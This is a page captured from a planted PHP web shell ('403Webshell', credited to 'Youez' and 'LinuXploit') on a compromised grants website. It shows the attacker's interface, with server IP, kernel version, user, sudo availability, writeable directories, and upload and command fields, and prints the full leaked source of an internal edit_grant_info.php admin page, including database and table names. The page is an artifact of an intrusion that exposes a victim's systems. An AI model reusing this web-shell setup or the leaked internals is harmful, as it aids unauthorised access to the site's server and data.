403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/governmentgrants.us/vx/usa/applications/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/governmentgrants.us/vx/usa/applications/edit_grant_info.php
<?php
	session_start();
	if(empty($_SESSION['cs_tracking_username'])) {
		header("Location: index.php");
		exit(0);
	}
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/ua.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/func.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx_/site_info.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/mysql.php');
	include_once($_SERVER['DOCUMENT_ROOT'].'/vx/lib/States.php');
	$user = $_SESSION['user'];
	
	if(!empty($_POST['submitted'])) {
		$ares = $db->get_results("SELECT agent_id FROM surfcrm.employees WHERE username='".$db->clean($_SESSION['cs_tracking_username'])."'");
		$agent_id = $ares[0]->agent_id;
		$grants_id = $db->clean($_POST['grants_id']);
		if(empty($_POST['grants_id'])) {
			$db->query("INSERT INTO grdb.grd_grants
						(
							users_id
							,ts
							,status
							,dont_show_usa
							,bad_url
							,featured
							,priority
						) VALUES (
							'".$db->clean($agent_id)."'
							,NOW()
							,'active'
							,0
							,0
							,'no'
							,99
						)");
			$grants_id = $db->last_insert_id();
		}
		if(strpos($_POST['url'],'http')===false) {
			$_POST['url'] = 'http://'.$_POST['url'];
		}
		$_POST['base_url'] = parse_url($_POST['url'], PHP_URL_HOST);
		$_POST['only_available_state'] = implode(',',$_POST['available_states']);
		$_POST['only_available_gender'] = implode(',',$_POST['available_genders']);
		$db->query("UPDATE grdb.grd_grants
					SET
						types_id = '".$db->clean($_POST['types_id'])."'
						,name = '".$db->clean($_POST['name'])."'
						,url = '".$db->clean($_POST['url'])."'
						,base_url = '".$db->clean($_POST['base_url'])."'
						,description = '".$db->clean($_POST['description'])."'
						,amount = '".$db->clean($_POST['amount'])."'
						,org_name = '".$db->clean($_POST['org_name'])."'
						,org_address = '".$db->clean($_POST['org_address'])."'
						,org_city = '".$db->clean($_POST['org_city'])."'
						,org_state = '".$db->clean($_POST['org_state'])."'
						,org_zip = '".$db->clean($_POST['org_zip'])."'
						,org_phone1 = '".$db->clean(preg_replace('/[^0-9]/','',$_POST['org_phone1']))."'
						,org_email = '".$db->clean($_POST['org_email'])."'
						,org_url = '".$db->clean($_POST['org_url'])."'
						,who = '".$db->clean($_POST['who'])."'
						,only_available_state = '".$db->clean($_POST['only_available_state'])."'
						,only_available_gender = '".$db->clean($_POST['only_available_gender'])."'
						,requirements = '".$db->clean($_POST['requirements'])."'
						,deadline = '".$db->clean($_POST['deadline'])."'
						,deadline_details = '".$db->clean($_POST['deadline_details'])."'
						,funding_type = '".$db->clean($_POST['funding_type'])."'
						,term_of_contract = '".$db->clean($_POST['term_of_contract'])."'
						,contact_information = '".$db->clean($_POST['contact_information'])."'
						,preapplication_information = '".$db->clean($_POST['preapplication_information'])."'
						,additional_eligibility_requirements = '".$db->clean($_POST['additional_eligibility_requirements'])."'
						,grant_subtitle = '".$db->clean($_POST['grant_subtitle'])."'
						,estimated_total_program_funding = '".$db->clean($_POST['estimated_total_program_funding'])."'
					WHERE grants_id='".$db->clean($grants_id)."'");
		$db->query("DELETE FROM grdb.grant_categories_new_grants WHERE grants_id='".$db->clean($grants_id)."'");
		if(!empty($_POST['grant_categories_id'])) {
			foreach($_POST['grant_categories_id'] as $c) {
				$db->query("INSERT INTO grdb.grant_categories_new_grants
							(
								grants_id
								,grant_categories_id
							) VALUES (
								'".$db->clean($grants_id)."'
								,'".$db->clean($c)."'
							)");
			}
		}
		//Add grdb.grant_update_tab_problems and mark it fixed
		$db->query("INSERT INTO grdb.grant_update_tab_problems
					(
						site_code
						,client_id
						,grant_id
						,problem
						,ts
						,completed_by
						,completed_date
						,fixed_or_nothing_wrong
					) VALUES (
						'".$db->clean($siteCode)."'
						,'".$db->clean($user)."'
						,'".$db->clean($grants_id)."'
						,'Edit Grant from client page'
						,NOW()
						,'".$db->clean($_SESSION['cs_tracking_username'])."'
						,NOW()
						,'fixed'
					)");
		die();
	}
	ob_start();	
?>
<script type="text/javascript">
	function show_loading_filters() {
		$('#overlayMessageTitle').html('Saving');
		$('#overlayMessageSubtitle').html('Saving Changes');
		$('#showOverlayMessage').show();
	}
	function hide_edit_grant(grant_id) {
		$('.funding_info').show();
		$('.funding_info_edit').hide();
	}
	
	function show_edit_grant(grant_id) {
		$('.funding_info').hide();
		$('.funding_info_edit').show();
	}
	
	function save_grant_info(frm) {
		show_loading_filters();
		var str = "";
		$(frm).find('input,select,textarea').each(function() {
			if(this.type=='radio' || this.type=='checkbox') {
				if($(this).is(':checked')) {
					str += (str=='') ? '' : '&';
					str += encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
				}
			} else {
				str += (str=='') ? '' : '&';
				str += encodeURIComponent(this.name) + '=' + encodeURIComponent($(this).val());
			}
		});
		$(frm).find('.textarea_div').each(function() {
			str += (str=='') ? '' : '&';
			str += encodeURIComponent($(this).attr('name')) + '=' + encodeURIComponent($(this).html());
		});
		$.ajax({
			url:"/vx/usa/applications/edit_grant_info.php",
			cache: false,
			type: "POST",
			data: str,
			success: function(results) {
				$('#overlayMessageTitle').html('Finished');
				$('#overlayMessageSubtitle').html('Finished Saving Changes');
				window.setTimeout(function() {
					window.opener.location.reload();
					window.close();
				},500);
			}
		});
	}
</script>
<style type="text/css">
	.grant_edit_page .funding_info {
		text-align:left;
		margin:10px;
		padding:10px;
	}
	.grant_edit_page h4 {
		font-size:18px;
		font-weight:bold;
		color:#3377aa;
		margin:10px 0px;
	}
	.grant_edit_page .deadline {
		font-size:20px;
	}
	.grant_edit_page .funding_amount {
		font-size:20px;
		color:#33aa55;
	}
	.grant_edit_page .textarea_div {
		background:white;
		width:600px;
		height:200px;
		overflow:auto;
		border:1px solid black;
		border-radius:2px;
	}
	.grant_edit_page .cat_header {
		border-bottom:1px solid #3377aa;
	}
	.grant_edit_page .rib {
		display:inline-block;
		width:49%;
		vertical-align:top;
	}
	.grant_edit_page .rib input[type=text], .grant_edit_page .rib select, .grant_edit_page .rib input[type=date], .grant_edit_page .rib input[type=number], .grant_edit_page .rib .textarea_div {
		width:90%;
	}
	.grant_edit_page input[type=checkbox],.grant_edit_page input[type=radio] {
		height:initial;
	}
	@media (max-width : 600px) {
		.grant_edit_page .rib {
			display:block;
			width:auto;
		}
	}
</style>
<div class="rb p20 top">
	<div class="grant_edit_page">
		<?php
		$grant = (object) array('name'=>'','grants_id'=>0);
		$all_cats = array();
		$all_cat_ids = array();
		$grant_cats = array();
		$res = $db->get_results("SELECT id,parent_id,category_name
								FROM grdb.grant_categories_new
								WHERE active=1
								ORDER BY parent_id ASC,category_name ASC");
		foreach($res as $r) {
			$grant_cats[$r->parent_id][$r->id] = $r;
		}
		$grant_states = array();
		$grant_genders = array();
		$type_of_grant = '';
		if(!empty($_REQUEST['grant'])) {
			$res = $db->get_results("SELECT * FROM grdb.grd_grants WHERE grants_id='".$db->clean($_REQUEST['grant'])."'");
			if(!empty($res)) {
				$grant = $res[0];
				$cats = $db->get_results("SELECT gcg.grant_categories_id,gc.category_name
										FROM grdb.grant_categories_new_grants gcg
										LEFT JOIN grdb.grant_categories_new gc ON gcg.grant_categories_id=gc.id
										WHERE gcg.grants_id='".$db->clean($grant->grants_id)."'
										ORDER BY category_name ASC");
				if(!empty($cats)) {
					foreach($cats as $cat) {
						$all_cats[] = $cat->category_name;
						$all_cat_ids[] = $cat->grant_categories_id;
					}
				}
				$grant_states = explode(',',$grant->only_available_state);
				$grant_genders = explode(',',$grant->only_available_gender);
				if(!empty($grant->types_id)) {
					$types_res = $db->get_results("SELECT name FROM grdb.grd_types WHERE types_id='".$db->clean($grant->types_id)."'");
					if(!empty($types_res)) {
						$type_of_grant = $types_res[0]->name;
					}
				}
			}
		} else {
			$grant_states[] = 'Any';
			$grant_genders[] = 'Any';
		}
		?>
		<div class="funding_info funding_info_edit" style="display:block;">
			<form onsubmit="save_grant_info(this); return false;">
				<input type="hidden" name="grants_id" value="<?= $grant->grants_id;?>" />
				<input type="hidden" name="submitted" value="1" />
				<div class="rib">
					<h4>GRANT NAME</h4>
					<div><input type="text" name="name" value="<?= (empty($grant->name)) ? '' : $grant->name;?>" /></div>
				</div>
				<div class="rib">
					<h4>GRANT SUBTITLE</h4>
					<div><input type="text" name="grant_subtitle" value="<?= (empty($grant->name)) ? '' : $grant->grant_subtitle;?>" /></div>
				</div>
				<div class="rib">
					<h4>APPLICATION LINK</h4>
					<div><input type="text" name="url" class="grant_url_textbox" value="<?= (empty($grant->name)) ? '' : $grant->url;?>" /></div>
				</div>
				<div class="rib">
					<h4>SITE LOGO</h4>
					<?php
						if($grant->grants_id*1>0) {
							$res = $db->get_results("SELECT logo_url,bg_color_hex FROM grdb.grd_site_logos WHERE site_domain='".$db->clean($grant->base_url)."' AND status='active' AND logo_url<>'' ORDER BY id DESC LIMIT 1");
							if(!empty($res)) {
								?>
								<div>
									<img src="<?= $res[0]->logo_url;?>" style="background:<?= $res[0]->bg_color_hex;?>;width:200px;" />
								</div>
								<?php
							}
						}
					?>
				</div>
				<div class="rib">
					<h4>TYPE OF FUNDING</h4>
					<div>
						<select name="types_id">
							<option value="0"></option>
							<?php $res = $db->get_results("SELECT types_id,name FROM grdb.grd_types WHERE 1");
							foreach($res as $r) { ?>
							<option value="<?= $r->types_id;?>" <?= (!empty($grant->name) && $grant->types_id==$r->types_id) ? 'selected' : '';?>><?= $r->name;?></option>
							<?php } ?>
						</select>
					</div>
				</div>
				<div class="rib">
					<h4>DEADLINE</h4>
					<div><input type="date" name="deadline" value="<?= (empty($grant->name)) ? '0000-00-00' : $grant->deadline;?>" /></div>
				</div>
				<div class="rib">
					<h4>AMOUNT</h4>
					<div>$<input type="number" name="amount" step="0.01" value="<?= (empty($grant->name)) ? '0.00' : $grant->amount;?>" /></div>
				</div>
				<div class="rib">
					<h4>DEADINE DETAILS</h4>
					<div><div class="textarea_div" name="deadline_details" contenteditable><?= (empty($grant->name)) ? '' : $grant->deadline_details;?></div></div>
				</div>
				<div class="rib">
					<h4>AMOUNT DETAILS</h4>
					<div><div class="textarea_div" name="amount_more_info" contenteditable><?= (empty($grant->name)) ? '' : $grant->amount_more_info;?></div></div>
				</div>
				<div class="rib">
					<h4>ESTIMATED TOTAL PROGRAM FUNDING</h4>
					<div><input type="text" name="estimated_total_program_funding" value="<?= (empty($grant->name)) ? '' : $grant->estimated_total_program_funding;?>" /></div>
				</div>
				<div class="rib">
					<h4>WHO CAN APPLY</h4>
					<div><div class="textarea_div" name="who" contenteditable><?= (empty($grant->name)) ? '' : $grant->who;?></div></div>
				</div>
				<div class="rib">
					<h4>DESCRIPTION</h4>
					<div><div class="textarea_div" name="description" contenteditable><?= (empty($grant->name)) ? '' : $grant->description;?></div></div>
				</div>
				<div class="rib">
					<h4>REQUIREMENTS</h4>
					<div><div class="textarea_div" name="requirements" contenteditable><?= (empty($grant->name)) ? '' : $grant->requirements;?></div></div>
				</div>
				<div class="rib">
					<h4>ADDITIONAL ELIGIBILITY REQUIREMENTS</h4>
					<div><div class="textarea_div" name="additional_eligibility_requirements" contenteditable><?= (empty($grant->name)) ? '' : $grant->additional_eligibility_requirements;?></div></div>
				</div>
				<div class="rib">
					<h4>AGENCY TYPE</h4>
					<div>
						<select name="funding_type">
							<option value=""></option>
							<option value="State" <?= (!empty($grant->name) && ($grant->funding_type=='State')) ? 'selected' : '';?>>State</option>
							<option value="Federal" <?= (!empty($grant->name) && ($grant->funding_type=='Federal')) ? 'selected' : '';?>>Federal</option>
							<option value="Corporation" <?= (!empty($grant->name) && ($grant->funding_type=='Corporation')) ? 'selected' : '';?>>Corporation</option>
						</select>
					</div>
				</div>
				<div class="rib">
					<h4>TERM OF CONTRACT</h4>
					<div><div class="textarea_div" name="term_of_contract" contenteditable><?= (empty($grant->name)) ? '' : $grant->term_of_contract;?></div></div>
				</div>
				<div class="rib">
					<h4>CONTACT INFORMATION</h4>
					<div><div class="textarea_div" name="contact_information" contenteditable><?= (empty($grant->name)) ? '' : $grant->contact_information;?></div></div>
				</div>
				<div class="rib">
					<h4>PRE-APPLICATION INFORMATION</h4>
					<div><div class="textarea_div" name="preapplication_information" contenteditable><?= (empty($grant->name)) ? '' : $grant->preapplication_information;?></div></div>
				</div>
				<div class="rib">
					<h4>PRE-PROPOSAL CONFERENCE</h4>
					<div><div class="textarea_div" name="preproposal_conference" contenteditable><?= (empty($grant->name)) ? '' : $grant->preproposal_conference;?></div></div>
				</div>
				<div class="rib">
					<h4>ATTACHED FILES</h4>
					<div><div class="textarea_div" name="attached_files" contenteditable><?= (empty($grant->name)) ? '' : $grant->attached_files;?></div></div>
				</div>
				<div class="rib">
					<h4>ORGANIZATION INFO</h4>
					<div>
						<table>
							<tr>
								<td>Name:</td>
								<td><input type="text" name="org_name" value="<?= (empty($grant->name)) ? '' : $grant->org_name;?>" /></td>
							</tr>
							<tr>
								<td>Street Address:</td>
								<td><input type="text" name="org_address" value="<?= (empty($grant->name)) ? '' : $grant->org_address;?>" /></td>
							</tr>
							<tr>
								<td>City:</td>
								<td><input type="text" name="org_city" value="<?= (empty($grant->name)) ? '' : $grant->org_city;?>" /></td>
							</tr>
							<tr>
								<td>State:</td>
								<td>
									<select name="org_state">
										<option value=""></option>
										<?php foreach($_STATES as $k=>$v) { ?>
										<option value="<?= $k;?>" <?= (!empty($grant->name) && $grant->org_state==$k) ? 'selected' : '';?>><?= $v;?></option>
										<?php } ?>
									</select>
								</td>
							</tr>
							<tr>
								<td>Zip:</td>
								<td><input type="text" name="org_zip" value="<?= (empty($grant->name)) ? '' : $grant->org_zip;?>" /></td>
							</tr>
							<tr>
								<td>Phone:</td>
								<td><input type="text" name="org_phone1" class="phone_number" value="<?= (empty($grant->name)) ? '' : $grant->org_phone1;?>" /></td>
							</tr>
							<tr>
								<td>Email:</td>
								<td><input type="text" name="org_email" value="<?= (empty($grant->name)) ? '' : $grant->org_email;?>" /></td>
							</tr>
							<tr>
								<td>Website:</td>
								<td><input type="text" name="org_url" value="<?= (empty($grant->name)) ? '' : $grant->org_url;?>" /></td>
							</tr>
						</table>
					</div>
				</div>
				<h4 class="cat_header">AVAILABLE STATES</h4>
				<div>
					<table style="width:100%;">
						<tr>
							<?php
							$i=0;
							$_STATES['Any'] = 'Any';
							foreach($_STATES as $c=>$full_state) {
								if($i>=3) {
									$i=0;
									?></tr><tr><?php
								}
								$i++;
							?>
							<td style="width:33%;"><label><input type="checkbox" name="available_states[]" value="<?= $c;?>" <?= (in_array($c,$grant_states)) ? 'checked' : '';?> /> <?= $full_state;?></label></td>
							<?php } ?>
						</tr>
					</table>
				</div>
				<h4 class="cat_header">AVAILABLE GENDERS</h4>
				<div>
					<table style="width:100%;">
						<tr>
							<?php
							$i=0;
							$genders = array('Male','Female','Any');
							foreach($genders as $c) {
								if($i>=3) {
									$i=0;
									?></tr><tr><?php
								}
								$i++;
							?>
							<td style="width:33%;"><label><input type="checkbox" name="available_genders[]" value="<?= $c;?>" <?= (in_array($c,$grant_genders)) ? 'checked' : '';?> /> <?= $c;?></label></td>
							<?php } ?>
						</tr>
					</table>
				</div>
				<h4 class="cat_header">CATEGORIES</h4>
				<div>
					<div style="column-count:3">
						<?php foreach($grant_cats[0] as $cat_id=>$c) { ?>
						<div>
							<div style="font-size:16px;"><label><input type="checkbox" name="grant_categories_id[]" value="<?= $cat_id;?>" <?= (in_array($cat_id,$all_cat_ids)) ? 'checked' : '';?> /> <?= $c->category_name;?></label></div>
							<?php if(!empty($grant_cats[$cat_id])) { ?>
							<div style="padding-left:20px;">
								<?php foreach($grant_cats[$cat_id] as $subcat_id=>$sc) { ?>
									<div style="font-size:14px;"><label><input type="checkbox" name="grant_categories_id[]" value="<?= $subcat_id;?>" <?= (in_array($subcat_id,$all_cat_ids)) ? 'checked' : '';?> /> <?= $sc->category_name;?></label></div>
									<?php if(!empty($grant_cats[$subcat_id])) { ?>
									<div style="padding-left:20px;">
										<?php foreach($grant_cats[$subcat_id] as $subsubcat_id=>$ssc) { ?>
										<div style="font-size:12px;"><label><input type="checkbox" name="grant_categories_id[]" value="<?= $subsubcat_id;?>" <?= (in_array($subsubcat_id,$all_cat_ids)) ? 'checked' : '';?> /> <?= $ssc->category_name;?></label></div>
										<?php } ?>
									</div>
									<?php } ?>
								<?php } ?>
							</div>
							<?php } ?>
						</div>
						<?php } ?>
					</div>
				</div>
				<div style="padding:20px;text-align:center;">
					<input type="submit" name="submit" value="Save" class="ui-save-button" />
				</div>
			</form>
		</div>
	</div>
</div>
<?php
	$body = ob_get_clean();
	$title = "Edit Application: ".$_SESSION['site_name'];
	include($_SERVER['DOCUMENT_ROOT'].'/vx/usa/layout/non_angular_layout.php');
?>

Youez - 2016 - github.com/yon3zu
LinuXploit